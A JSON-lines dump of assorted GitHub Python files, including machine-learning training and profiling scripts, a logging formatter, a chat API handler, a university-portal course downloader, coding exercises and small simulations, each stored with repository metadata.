torch.from_numpy(np.array([sequence.shape[1]])).to(device)\n mel, mel_postnet, log_duration_output, f0_output, energy_output, _, _, mel_len = self.model_fs2(\n sequence, src_len, d_control=d, p_control=p, e_control=e)\n mel_postnet = mel_postnet.to(device).transpose(1, 2).detach()\n elif model == 'tacotron2':\n mel, mel_postnet, _, alignment = self.model_tacotron2.inference(sequence)\n\n t2 = time()\n #print(t2 - t1, f'(s) for {model} inference')\n list_time.append(t2 - t1)\n\n audio = None\n #print(vocoder)\n if vocoder == 'waveglow':\n audio = self.waveglow_infer(mel_postnet, sig=sig, strength=strength)\n elif vocoder == 'hifigan':\n audio = self.hifigan_infer(mel_postnet, strength=strength)\n t3 = time()\n # print(t3 - t2, f'(s) for {vocoder} inference')\n list_time.append(t3 - t2)\n\n return audio, list_time\n \n \n\n","repo_name":"CrazyPlaysHD/tts-web-demo","sub_path":"text2speech.py","file_name":"text2speech.py","file_ext":"py","file_size_in_byte":11111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"11870166440","text":"class Solution:\n def countComponents(self, n: int, edges: List[List[int]]) -> int:\n pars = [i for i in range(n) ] \n rank = [1] * n\n\n def find(n1):\n res = n1\n\n while res != pars[res]:\n pars[res] = pars[pars[res]] # path compression ( for optimization)\n res = pars[res]\n return res\n\n def union(n1, n2):\n p1, p2 = find(n1), find(n2)\n\n if p1 == p2: \n return 0\n \n if rank[p2] > rank[p1]:\n rank[p1] = rank[p2]\n rank[p2] += rank[p1]\n else:\n rank[p2] = rank[p1]\n rank[p1] += rank[p2]\n\n return 1\n\n res = n\n\n for e1, e2 in edges:\n res -= union(e1,e2)\n return res\n\n\n\n \n","repo_name":"EricDang261/Leetcode","sub_path":"number-of-connected-components-in-an-undirected-graph/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"41835663744","text":"from pyspark import SparkConf, SparkContext\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"WordCount\")\nsc = SparkContext(conf = conf)\n\ninput = sc.textFile(\"book.txt\")\n\n# Split each by white space into one word per line\nwords = input.flatMap(lambda x: x.split())\n\n# Count the occurences of each individual word\nwordCounts = words.countByValue()\n\n# Convert from unicode to ascii and print the word and count \n# and ignore conversion errors\nfor word, count in wordCounts.items():\n cleanWord = word.encode('ascii', 'ignore')\n if (cleanWord):\n print(cleanWord.decode() + \" \" + str(count))\n\n\n","repo_name":"mjatcars/SparkCourse","sub_path":"Sec2-Spark-Basics-and-Simple-Examples/word-count-FLATMAP.py","file_name":"word-count-FLATMAP.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4765494747","text":"import torch\nfrom torch.profiler import profile, record_function, ProfilerActivity\nfrom torchvision import datasets, transforms\nfrom torchsummary import summary\n\nimport tracemalloc\n\nfrom src.model.binary_cnn import BinaryCNN\nfrom src.model.cnn import CNN\nfrom src.model.fc import BinaryFC, FC\n\n# model = BinaryFC()\n# model = BinaryCNN()\n# model = FC()\nmodel = CNN()\n\nsummary(model, (28, 28, 1))\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\ncheckpoint = torch.load(\"checkpoint/\" + model._get_name() + \".pth\", map_location=device)\nstate_dict = checkpoint['net']\nmodel.load_state_dict(state_dict, strict=False)\n\nmodel.eval()\n\ntrain_loader = torch.utils.data.DataLoader(\n datasets.MNIST('./data', train=True, download=True,\n transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])),\n batch_size=64, shuffle=True)\n\ndataiter = iter(train_loader)\ninputs, targets = dataiter.next()\n\nwith profile(activities=[ProfilerActivity.CPU], profile_memory=True, record_shapes=True) as prof:\n with record_function(\"model_inference\"):\n tracemalloc.start()\n model(inputs)\n current, peak = tracemalloc.get_traced_memory()\n tracemalloc.stop()\n\nprint(prof.key_averages().table())\nprint(f\"{current:0.2f}, {peak:0.2f}\")\n\n# 14403.00, 29252.00\n# 14483.00, 29331.00\n# 463114.00, 476873.00\n# 462784.00, 476743.00\n","repo_name":"ManhPP/BNN","sub_path":"profiler.py","file_name":"profiler.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37038869367","text":"import json\nfrom datetime import date, datetime\nfrom decimal import Decimal\nfrom logging import Filter, Formatter\n\n\nclass RequestEdgeEndFilter(Filter):\n def filter(self, record):\n from .context_managers import RequestEdge\n\n if not getattr(record, \"smart\", False):\n # non-smart logs always get recorded\n return True\n\n # Smart logs only get recorded on END\n return record.edge == RequestEdge.END\n\n\nclass ObjectTypeEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, set):\n return {\n # sort values to make reading logs easier as a user\n \"value\": sorted(obj),\n \"type\": \"set\",\n }\n\n if isinstance(obj, datetime):\n return {\n \"value\": str(obj),\n \"type\": \"datetime\",\n }\n\n if isinstance(obj, date):\n return {\n \"value\": str(obj),\n \"type\": \"date\",\n }\n\n if isinstance(obj, Decimal):\n return {\n \"value\": str(obj),\n \"type\": \"Decimal\",\n }\n\n return super().default(obj)\n\n\nclass JsonFormatter(Formatter):\n def __init__(self, *args, **kwargs):\n self.default_extra = kwargs.pop(\"default_extra\", {})\n super().__init__(*args, **kwargs)\n\n def format(self, record):\n from .config import config\n\n # Normal tracing stuff\n log_data = {\n \"timestamp\": self.formatTime(record),\n **self.default_extra,\n \"filename\": record.filename,\n \"funcName\": record.funcName,\n \"levelname\": record.levelname,\n \"levelno\": record.levelno,\n \"lineno\": record.lineno,\n \"module\": record.module,\n \"loggerName\": record.name,\n }\n\n if getattr(record, \"smart\", False):\n log_data.update(\n {\n # Custom Fields\n \"start_time\": getattr(record, \"start_time\", \"\"),\n \"end_time\": getattr(record, \"end_time\", \"\"),\n \"response_time_ms\": getattr(record, \"response_time_ms\", \"\"),\n \"request\": record.request,\n \"response\": getattr(record, \"response\", None),\n \"notes\": getattr(record, \"notes\", None),\n }\n )\n\n # Always fields\n log_data.update(\n {\n \"msg\": super().format(record),\n **getattr(record, \"extra\", {}),\n }\n )\n\n resp = json.dumps(log_data, cls=ObjectTypeEncoder)\n if config.MAX_JSON_DATA_TO_LOG and len(resp) > config.MAX_JSON_DATA_TO_LOG:\n log_data[\"max_data_exceeded\"] = True\n truncate_length = config.MAX_JSON_DATA_TO_LOG - 50\n response_obj = log_data.get(\"response\")\n if response_obj and truncate_length > 0:\n response_data = str(response_obj.get(\"data\", \"\"))\n if len(response_data) > truncate_length:\n # Update mutatable resonse_obj inside mutatable log_data\n response_obj[\"data\"] = (\n response_data[:truncate_length] + \" **TRUNCATED**\"\n )\n\n resp = json.dumps(log_data, cls=ObjectTypeEncoder)\n\n return resp\n\n\nclass SmartFormatter(Formatter):\n def limited_size_repr(self, data, length):\n data = repr(data)\n if len(data) > length:\n data = data[:length] + \"...\"\n return data\n\n def format(self, record):\n from .context_managers import RequestDirection, RequestEdge\n\n log_msg = [super().format(record)]\n\n if not getattr(record, \"smart\", False):\n return log_msg[0]\n\n if (\n record.edge == RequestEdge.START\n and record.direction == RequestDirection.OUTGOING\n ):\n pass\n else:\n from .config import config\n\n req = record.request\n\n data = req.get(\"data\")\n if data is not None:\n data = self.limited_size_repr(data, config.MAX_VERBOSE_OUTPUT_LENGTH)\n log_msg.append(f\" Request Data: {data}\")\n\n headers = req.get(\"headers\")\n if headers is not None:\n headers = self.limited_size_repr(\n headers, config.MAX_VERBOSE_OUTPUT_LENGTH\n )\n log_msg.append(f\" Request Headers: {headers}\")\n\n resp = getattr(record, \"response\", None)\n if resp is not None:\n data = resp.get(\"data\")\n if data is None:\n data = \"(empty)\"\n else:\n data = self.limited_size_repr(\n data, config.MAX_VERBOSE_OUTPUT_LENGTH\n )\n log_msg.append(f\" Response Data: {data}\")\n\n log_msg.append(\"\\n\")\n\n return \"\\n\".join(log_msg)\n","repo_name":"JBSinc/boston-logger","sub_path":"boston_logger/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":5002,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"37168607976","text":"import logging\nimport sys\nimport argparse\n# import tempfile\nimport os\nimport glob\n\nimport torch\nfrom torchvision import transforms as tfs\nimport mlflow\nimport numpy as np\nimport pytorch_lightning as pl\n\n# from torch.utils.data import DataLoader\n# from torch.utils.data.dataset import random_split\nfrom histocartography.image.VorHoVerNet.dataset import data_reader, CoNSeP_cropped, AugmentedDataset, dataset_numpy_to_tensor\n# from brontes import Brontes\n# from pl_net import plNet\nfrom histocartography.image.VorHoVerNet.cus_brontes import CusBrontes\nfrom histocartography.image.VorHoVerNet.model.vorhover_net import Net, CustomLoss\n\n# setup logging\n# logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\nlog = logging.getLogger('Histocartography::Training')\nh1 = logging.StreamHandler(sys.stdout)\nlog.setLevel(logging.INFO)\nformatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n)\nh1.setFormatter(formatter)\nlog.addHandler(h1)\n\n# parse parameters\nparser = argparse.ArgumentParser()\nparser.add_argument(\n '-d', '--data_path', type=str, default='data/',\n help='path to data (default: data/)'\n)\nparser.add_argument(\n '-t', '--dataset', type=str, default='CoNSeP/', \n help='dataset name (may include more than one directory)'\n)\nparser.add_argument(\n '-i', '--iteration', type=int, default=0, \n help='dataset iteration (default=0)'\n)\nparser.add_argument(\n '-v', '--version', type=int, default=0, \n help='dataset version (default=0)'\n)\nparser.add_argument(\n '--bucket', type=str, default='test-data', \n help='s3 bucket'\n)\nparser.add_argument(\n '-p', '--number_of_workers', type=int, default='1', \n help='number of workers (default: 1)'\n)\nparser.add_argument(\n '-n', '--model_name', type=str, default='model', \n help='model name (default: model)'\n)\nparser.add_argument(\n '--output_root', type=str, default='./',\n help='output root path (default: ./)'\n)\nparser.add_argument(\n '--batch_size', type=int, default=16, metavar='N', \n help='input batch size for training (default: 16)'\n)\nparser.add_argument(\n '--test_batch_size', type=int, default=16, metavar='N',\n help='input batch size for testing (default: 16)'\n)\nparser.add_argument(\n '--epochs', type=int, default=10, metavar='N',\n help='number of epochs to train (default: 10)'\n)\nparser.add_argument(\n '--lr', type=float, default=1e-4, metavar='LR',\n help='learning rate (default: {})'.format(1e-4)\n)\nparser.add_argument(\n '--log_interval', type=int, default=10, metavar='N', \n help='how many batches to wait before logging training status'\n)\nparser.add_argument(\n '--early_stop_patience', type=int, default=5, metavar='N', \n help='how many times to wait before early stop (default: 5)'\n)\nparser.add_argument(\n '--early_stop_monitor', type=str, default='val_loss', metavar='N', \n help='criterion monitor for early stopping (default: val_loss)'\n)\n# parser.add_argument('--mlflow_log', type=str, default='True',\n# help='whether use mlflow as logger')\n# parser.add_argument('--inference_mode', type=bool, default=True, metavar='N', \n# help='save results of inference (default: True)')\n# parser.add_argument('--vdir', type=str, default='train', \n# help='dir name of visualization images')\n\ndef main(args):\n \"\"\"\n Train with pytorch_lightning\n\n Args:\n args (Namespace): parsed arguments\n \"\"\"\n # load parameters from parser\n DATA_PATH = args.data_path\n BUCKET = args.bucket\n DATASET = args.dataset\n ITERATION = args.iteration\n VERSION = args.version\n NUMBER_OF_WORKERS = args.number_of_workers\n MODEL_NAME = args.model_name\n BATCH_SIZE = args.batch_size\n TEST_BATCH_SIZE = args.test_batch_size\n EPOCHS = args.epochs\n LEARNING_RATE = args.lr\n LOG_INTERVAL = args.log_interval\n EARLY_STOP_PATIENCE = args.early_stop_patience\n EARLY_STOP_MONITOR = args.early_stop_monitor\n OUTPUT_ROOT = f'{args.output_root}/{args.model_name}'\n\n # EXPERIMENT_NAME = f'{MODEL_NAME}_iter{ITERATION:02d}'\n # INFERENCE_MODE = True if NUMBER_OF_WORKERS == 1 else False\n INFERENCE_MODE = True\n\n # TODO: whether these args are needed\n VERBOSE = True\n\n # make sure data folder exists\n os.makedirs(DATA_PATH, exist_ok=True)\n\n \"\"\"\n # data loaders for the GLEASON 2019 dataset\n utils.download_s3_dataset(\n utils.get_s3(), BUCKET, DATASET, DATA_PATH\n )\n # Get a list of all images\n all_img_files = glob.glob(\n os.path.join(DATA_PATH, DATASET, 'Train Imgs', '*.jpg')\n )\n label_image_pairs = {}\n for filename in all_img_files:\n slide, core = os.path.splitext(os.path.basename(filename)\n )[0].split('_')\n corresponding_img = f'{slide}_{core}.jpg'\n label_image_pairs[f'{slide}_{core}_classimg_nonconvex.png'\n ] = os.path.join(\n DATA_PATH, DATASET, 'Train Imgs',\n corresponding_img\n )\n\n # Choose a set of annotations\n annotation_subpath = 'Maps*'\n label_folder = np.random.choice(\n glob.glob(f'{os.path.join(DATA_PATH,DATASET, annotation_subpath)}')\n )\n label_folder_content = glob.glob(os.path.join(label_folder, '*.png'))\n\n # Find the names of the annotation files if\n # label_image_pairs[os.path.basename(label_file)]\n pairs = [\n (label_file, label_image_pairs.get(os.path.basename(label_file)))\n for label_file in label_folder_content\n if os.path.basename(label_file) in label_image_pairs\n ]\n log.debug(pairs)\n \"\"\"\n\n # augmentation\n # TODO: original mask at bigger size so that it can be cropped into disired size after rotation\n # augs_both = tfs.Compose([\n # tfs.ToPILImage(),\n # tfs.RandomHorizontalFlip(), \n # tfs.RandomVerticalFlip(),\n # tfs.RandomRotation(45)\n # ])\n\n # augs_both = tfs.Compose([\n # tfs.ToPILImage(),\n # tfs.RandomHorizontalFlip(),\n # tfs.RandomRotation(45, fill=1.0)\n # ])\n\n# augs_image = tfs.Compose([\n# tfs.ToPILImage(),\n# tfs.ColorJitter(brightness=0.1, contrast=0.1, hue=0.1),\n# ])\n\n # prepare data_loaders\n train_idx = [i for i in range(1, 28) if i not in (2, 4, 12, 15)]\n train_dataset = CoNSeP_cropped(*data_reader(root=f'{DATA_PATH}/{DATASET}', split='train', ver=VERSION, itr=ITERATION, doflip=True, contain_both=True, part=train_idx))\n num_train = int(len(train_dataset) * 0.8)\n num_valid = len(train_dataset) - num_train\n train_data, valid_data = torch.utils.data.dataset.random_split(train_dataset, [num_train, num_valid])\n # train_data = AugmentedDataset(dataset=train_data, transform=augs_both, target_transform=augs_both)\n# train_data = AugmentedDataset(dataset=train_data, transform=augs_image, target_transform=None)\n dataset_loaders = {\n 'train': torch.utils.data.DataLoader(train_data, batch_size=BATCH_SIZE, shuffle=True, num_workers=NUMBER_OF_WORKERS), \n 'val': torch.utils.data.DataLoader(valid_data, batch_size=BATCH_SIZE, shuffle=True, num_workers=NUMBER_OF_WORKERS)\n }\n\n inf_batch_train = dataset_numpy_to_tensor(train_data, batch_size=BATCH_SIZE)\n inf_batch_valid = dataset_numpy_to_tensor(valid_data, batch_size=BATCH_SIZE)\n\n # define model and optimizer\n model = Net(batch_size=BATCH_SIZE)\n\n optimizer = torch.optim.Adam(model.parameters(), lr=LEARNING_RATE)\n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=5, gamma=0.8)\n\n cbrontes_model = CusBrontes(\n model=model,\n loss=CustomLoss(),\n data_loaders=dataset_loaders, \n optimizer=optimizer, \n lr_scheduler=lr_scheduler,\n metrics=None,\n training_log_interval=LOG_INTERVAL,\n tracker_type='mlflow',\n visualize=INFERENCE_MODE,\n inf_batches=[inf_batch_train, inf_batch_valid],\n model_name=MODEL_NAME,\n output_root=OUTPUT_ROOT,\n num_gpus=NUMBER_OF_WORKERS\n )\n\n from pytorch_lightning.callbacks import ModelCheckpoint\n checkpoint_callback = ModelCheckpoint(\n filepath=f'{OUTPUT_ROOT}/checkpoints/{MODEL_NAME}',\n save_top_k=1,\n verbose=VERBOSE,\n monitor=EARLY_STOP_MONITOR,\n mode='min',\n prefix=MODEL_NAME\n )\n \n from pytorch_lightning.callbacks import EarlyStopping\n early_stop_callback = EarlyStopping(\n monitor=EARLY_STOP_MONITOR,\n min_delta=0.001,\n patience=EARLY_STOP_PATIENCE,\n verbose=VERBOSE,\n mode='min'\n )\n \n try:\n if torch.cuda.is_available():\n print('early_stop_minitor: {}'.format(EARLY_STOP_MONITOR))\n print('early_stop_patience: {}'.format(EARLY_STOP_PATIENCE))\n # print('EPOCHS:', EPOCHS, [i for i in range(NUMBER_OF_WORKERS)])\n print()\n trainer = pl.Trainer(\n accumulate_grad_batches=4, gpus=[i for i in range(NUMBER_OF_WORKERS)], \n default_save_path=f'{OUTPUT_ROOT}/pl_logs',\n checkpoint_callback=checkpoint_callback, early_stop_callback=early_stop_callback,\n distributed_backend='dp',\n train_percent_check=1.0, val_percent_check=1.0)\n # , val_check_interval=0.25\n else:\n trainer = pl.Trainer(\n accumulate_grad_batches=4,\n checkpoint_callback=checkpoint_callback, early_stop_callback=early_stop_callback,\n distributed_backend='dp')\n trainer.fit(cbrontes_model)\n except KeyboardInterrupt:\n MODEL_NAME += '_ki'\n \n # log artifacts\n cbrontes_model.log_via_mlflow()\n\n # # save model\n # SAVER_PATH = 'saver_pl/'\n # MODEL_NAME = MODEL_NAME + '_epoch_{}.ckpt'.format(plmodel.current_epoch)\n # os.makedirs(SAVER_PATH, exist_ok=True)\n # saved_model = SAVER_PATH + MODEL_NAME\n # # torch.save({'state_dict': plmodel.state_dict()}, saved_model)\n # state_dict = {\n # 'epoch': plmodel.current_epoch,\n # 'state_dict': plmodel.state_dict()\n # }\n # torch.save(state_dict, saved_model)\n # # mlflow.log_artifact(save_model)\n # print('{} saved.'.format(saved_model))\n\nif __name__ == \"__main__\":\n main(args=parser.parse_args())\n # python train_pl.py -n model_009 --batch_size 12 --epochs 100 --early_stop_patience 10\n","repo_name":"histocartography/ninepins","sub_path":"experiments/VorHoVerNet_training/train_mlflow.py","file_name":"train_mlflow.py","file_ext":"py","file_size_in_byte":10428,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"21264270807","text":"from tornado.web import RequestHandler, asynchronous\nfrom tornado.gen import coroutine\nfrom controllers.decorators import is_authenticated\nfrom models import Chats, Messages\nfrom json import dumps, loads\n\n\nclass ChatsApi(RequestHandler):\n\n\n @is_authenticated\n @asynchronous\n @coroutine\n def post(self):\n body = loads(self.request.body.decode('utf-8'))\n members = [\n str(self.current_user['_id']),\n body['member_id']\n ]\n\n chat = yield Chats.get_chat_by_members(members)\n\n if not chat:\n chat = yield Chats.insert({\n 'conversation': False,\n 'members': members,\n 'title': ''\n })\n\n chat['_id'] = str(chat['_id'])\n\n messages = yield Messages.get_chat_messages(10, 0, chat['_id'])\n\n current_user = self.current_user\n\n self.write(dumps({'chat_id': chat['_id'], 'messages': messages, 'current_user': current_user}))\n","repo_name":"Dalas/TornadoSocketsExample","sub_path":"controllers/api/ChatsApi.py","file_name":"ChatsApi.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"2220004327","text":"import requests\nimport bs4\nimport getpass\nimport os\n\n\ndef login(s):\n\n '''Get username'''\n username = input(\"username: \")\n '''Get password with getpass module, cuz muh privacy'''\n password = getpass.getpass(\"pass: \")\n\n '''Try to get main page of ninova'''\n r = s.get('http://ninova.itu.edu.tr/kampus')\n\n '''Parse the returned page with bs4'''\n forms = bs4.BeautifulSoup(r.text, 'html.parser').findAll('input')\n\n '''Fill POST data'''\n data = {}\n for form in forms:\n if 'value' in form.attrs:\n data[form['name']] = form['value']\n else:\n data[form['name']] = \"\"\n data['__EVENTTARGET'] = ''\n data['__EVENTARGUMENT'] = ''\n data['ctl00$ContentPlaceHolder1$tbUserName'] = username,\n data['ctl00$ContentPlaceHolder1$tbPassword'] = password,\n\n '''Login and return'''\n return s.post(r.url, data=data)\n\n\ndef getPage(session, url):\n\n '''GET the url'''\n kampusPage = session.get(url)\n print(kampusPage.url)\n\n '''Return parsed data'''\n return bs4.BeautifulSoup(kampusPage.text, 'html.parser')\n\n\ndef getLinks(soup, filterString):\n\n '''Fill the list with relevant links'''\n tags = []\n for line in soup.find_all('a'):\n '''Only links with filterString in them'''\n if filterString in str(line):\n tags.append(line)\n\n '''Return the list of tags'''\n return tags\n\n\ndef saveFile(r, name):\n\n '''Save the content of response to file \"name\"'''\n f = open(name, 'wb')\n f.write(r.content)\n f.close()\n\n\ndef mkdir(classTag):\n\n '''Get cwd'''\n root = os.getcwd()\n\n name = classTag.findPrevious('span').text\n\n '''Try creating a new folder'''\n try:\n os.mkdir(name)\n\n except FileExistsError:\n '''If folder exists, create a new one'''\n print('Folder already exists \"'+name+'\"')\n name = name+' (dup)'\n os.mkdir(name)\n\n os.chdir(name)\n\n '''Create the necessary subfolders'''\n os.mkdir('dersDosyalari')\n os.mkdir('sinifDosyalari')\n\n '''Go back'''\n os.chdir(root)\n\n return name\n\n\ndef capturePage(session, resourceTagList):\n\n '''Iterate through tags'''\n for tag in resourceTagList:\n\n '''Check for the icon, if it is a folder, create the subfolder,\n and enter, then call capturePage for the subfolder page'''\n if tag.findPrevious('img')['src'] == '/images/ds/folder.png':\n\n '''Get root directory'''\n root = os.getcwd()\n\n os.mkdir(tag.text)\n os.chdir(tag.text)\n\n soup = getPage(session, url+tag['href'])\n links = getLinks(soup, 'Dosyalari?g')\n\n capturePage(session, links)\n\n '''Go back when done'''\n os.chdir(root)\n\n elif tag.findPrevious('img')['src'] == '/images/ds/link.png':\n '''If the icon is a link, dont touch it'''\n continue\n\n else:\n '''Download the rest'''\n r = session.get(url+tag['href'])\n f = open(tag.text, 'wb')\n f.write(r.content)\n f.close()\n\n\ndef captureClass(session, classTag):\n\n '''Get root directory'''\n root = os.getcwd()\n\n '''Create class folder'''\n name = mkdir(link)\n os.chdir(name)\n\n '''GET and capture lecture files'''\n pageSoup = getPage(s, url+link['href']+'/DersDosyalari')\n links = getLinks(pageSoup, 'DersDosyalari?')\n os.chdir('dersDosyalari')\n capturePage(session, links)\n os.chdir('..')\n\n '''GET and capture class files'''\n pageSoup = getPage(s, url+link['href']+'/SinifDosyalari')\n links = getLinks(pageSoup, 'SinifDosyalari?')\n os.chdir('sinifDosyalari')\n capturePage(session, links)\n\n '''Go back to root when done'''\n os.chdir(root)\n\n\n'''Base URL'''\nurl = 'http://ninova.itu.edu.tr'\n\n'''Create a session for cookie management'''\ns = requests.Session()\n\n'''Login to ITU account'''\nlogin(s)\n\n'''Get the main page and class links from ninova'''\nkampusSoup = getPage(s, url+'/Kampus1')\nclassLinks = getLinks(kampusSoup, 'ErisimAgaci')\n\n'''Capture parsed classes'''\nfor link in classLinks:\n captureClass(s, link)\n","repo_name":"bayvalli/ninova-downloader","sub_path":"ninova_downloader.py","file_name":"ninova_downloader.py","file_ext":"py","file_size_in_byte":4105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"72218117572","text":"def main():\n\n return order()\n\n\ndef order():\n menu = {\n \"Baja Taco\": 4.00,\n \"Burrito\": 7.50,\n \"Bowl\": 8.50,\n \"Nachos\": 11.00,\n \"Quesadilla\": 8.50,\n \"Super Burrito\": 8.50,\n \"Super Quesadilla\": 9.50,\n \"Taco\": 3.00,\n \"Tortilla Salad\": 8.00\n }\n while True: \n try:\n order_list = []\n while True:\n item = input('Item: ')\n order_list.append(item.lower().title())\n except EOFError:\n total = 0\n for i in order_list:\n try:\n total += menu[i]\n except KeyError:\n pass\n return print('\\nTotal: $' + str(format(total, '.2f')))\n\n\nmain()","repo_name":"gavmross/cs50p","sub_path":"problem_sets/ps3/taqueria/taqueria.py","file_name":"taqueria.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"74004419331","text":"import pandas as pd\nfrom openpyxl import workbook,load_workbook\nimport channel_initialization as ch\nimport numpy as np\n####################### simulation parameters ########################\nbw = 1*10**9 # Bandwidth = 1GHz\np_t_dB = 23 # maximum d2d transmit power in dB\np_t = 10**(p_t_dB/10) \nC_frequency = 28e9 # carrier frequency = 28 GHz\nnum_d2d =4\nNoise = -174 # noise = -174 dBm\ns= 10**(-174/10)\n\n######################### Assigning equal power of \nd2d_power =np.ones(num_d2d)*(23/4)\nsinr = np.zeros(num_d2d)\ncap = np.zeros(num_d2d)\n############################### For creating excel sheets of value ####################################\nwb1=load_workbook('receiver1.xlsx') \nws1 = wb1.active\nwb2=load_workbook('receiver2.xlsx')\nws2 = wb2.active\nwb3=load_workbook('receiver3.xlsx')\nws3 = wb3.active\nwb4=load_workbook('receiver4.xlsx')\nws4 = wb4.active\n\n\nfor z in range(51) :\n h=ch.ch_gen(20,num_d2d,C_frequency)\n for i in range(num_d2d) :\n\n x = h[i,i]*d2d_power[i]/s\n sinr[i] = 10*log10(x)\n cap[i] = bw*log2(1+x)\n if i==0 :\n ws1.append([cap[i]])\n elif i==1:\n ws2.append([cap[i]])\n elif i==2:\n ws3.append([cap[i]])\n elif i==3:\n ws4.append([cap[i]])\n\nwb1.save('receiver1.xlsx')\nwb2.save('receiver2.xlsx')\nwb3.save('receiver3.xlsx')\nwb4.save('receiver4.xlsx')","repo_name":"palkrishna/palkrishna","sub_path":"equal_power_allocation.py","file_name":"equal_power_allocation.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"23567728653","text":"# Скрипт для отрисовки биоданных по сенсорам\n\nimport scipy.io\nimport matplotlib.pyplot as plt\n\n\nmat = scipy.io.loadmat('/home/polina/диплом/эпилепсия_данные_био/2011 may 03 P32 BCX rust/2011_05_03_0023.mat', squeeze_me=True)\n\nprint(mat.keys())\ndata = mat['lfp']\nprint(data.shape)\n\nvalues = [i+1 for i in range(2000)] # миллисекунды, по оси x\nprint(values)\n\nlfp = [] # lfp, j - сенсоры, i - данные\nfor j in range(15): # 16\n result = []\n for i in range(2000):\n result.append(data[i,j,40]) # № записи\n lfp.append(result)\n\ncount = 1\nfor elem in lfp:\n print(count, elem)\n print(min(elem), max(elem))\n count += 1\n\nprint(len(lfp))\n\n\nfig = plt.figure(1) # первое окно с графиками\nfor i in range(15): # 16\n plt.subplot(15,1,i+1) # 16\n plt.plot(values, lfp[i], linewidth=1.0)\n if i == 0:\n plt.title('Эксперимент 23. Запись 40')\n if i == 7:\n plt.ylabel('Потенциал локального поля, мВ')\n if i == 14: # 15\n plt.xlabel('Время, мс')\nplt.show()\n\n\n","repo_name":"Polina17/Epilepsy_Validation","sub_path":"bio_data.py","file_name":"bio_data.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3291549514","text":"import torch.nn as nn\nimport torch\n\n\nclass NT_Xent(nn.Module):\n \"\"\"\n normalized temperature-scaled cross entropy loss\n \"\"\"\n\n def __init__(self, batch_size, temperature):\n self.batch_size = batch_size\n self.temperature = temperature\n\n def forward(self, z_i, z_j):\n \"\"\"\n implementation adapted from https://github.com/leftthomas/SimCLR\n :param z_i: image latent 1\n :param z_j: image latent 2\n :return:\n \"\"\"\n # [2*B, D]\n out = torch.cat([z_i, z_j], dim=0)\n # sim(z_i, z_j)/t\n sim_matrix = torch.exp(torch.mm(out, out.t().contiguous()) / self.temperature)\n # matrix for 1 E {0,1} function, e.g.\n # 0 1 1\n # 1 0 1\n # 1 1 0\n mask = (\n torch.ones_like(sim_matrix)\n - torch.eye(2 * self.batch_size, device=sim_matrix.device)\n ).bool()\n # [2*B, 2*B-1]\n sim_matrix = sim_matrix.masked_select(mask).view(2 * self.batch_size, -1)\n\n # compute loss\n pos_sim = torch.exp(torch.sum(z_i * z_j, dim=-1) / self.temperature)\n # [2*B]\n pos_sim = torch.cat([pos_sim, pos_sim], dim=0)\n\n # loss\n return (-torch.log(pos_sim / sim_matrix.sum(dim=-1))).mean()\n","repo_name":"NoahBarrett98/UltraVision","sub_path":"UltraVision/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"847291776","text":"class Node:\n def __init__(self,value):\n self.value=value\n self.left=None\n self.right=None\n\n def leaf_nodes(self):\n def is_leaf(node):\n if not node:\n return False\n if node.left==None and node.right==None:\n return True\n return False\n\n stack=[]\n temp=None\n stack.append(self)\n while stack:\n temp=stack.pop()\n while temp and (not is_leaf(temp)):\n if temp.left:\n stack.append(temp.left)\n if temp.right:\n stack.append(temp.right)\n temp=stack.pop()\n if temp:\n if is_leaf(temp):\n print(temp.value)\n\n def inorder(self):\n if self:\n if self.left:\n self.left.inorder()\n print(self.value)\n if self.right:\n self.right.inorder()\n\n def insert(self,value):\n if self.value>value:\n if self.left:\n self.left.insert(value)\n else:\n self.left=Node(value)\n elif self.value (.*):$\", stream))\n\n\ndef common_package(packageA, packageB):\n prefix = common_iter_prefix(packageA.split(\".\"), packageB.split(\".\"))\n return \".\".join(prefix)\n\n\ndef common_iter_prefix(iterA, iterB):\n iterA = iterA.__iter__()\n iterB = iterB.__iter__()\n result = []\n try:\n while True:\n a = iterA.__next__()\n b = iterB.__next__()\n if a != b:\n return result\n result.append(a)\n except StopIteration:\n return result\n\n\ncleartextPackages = set()\nfor fromClass, toClass in class_mappings(sys.stdin):\n common = common_package(fromClass, toClass)\n if len(common) > 0:\n cleartextPackages.add(common)\n\ncleartextPackages = list(cleartextPackages)\ncleartextPackages.sort()\nfor pkg in cleartextPackages:\n 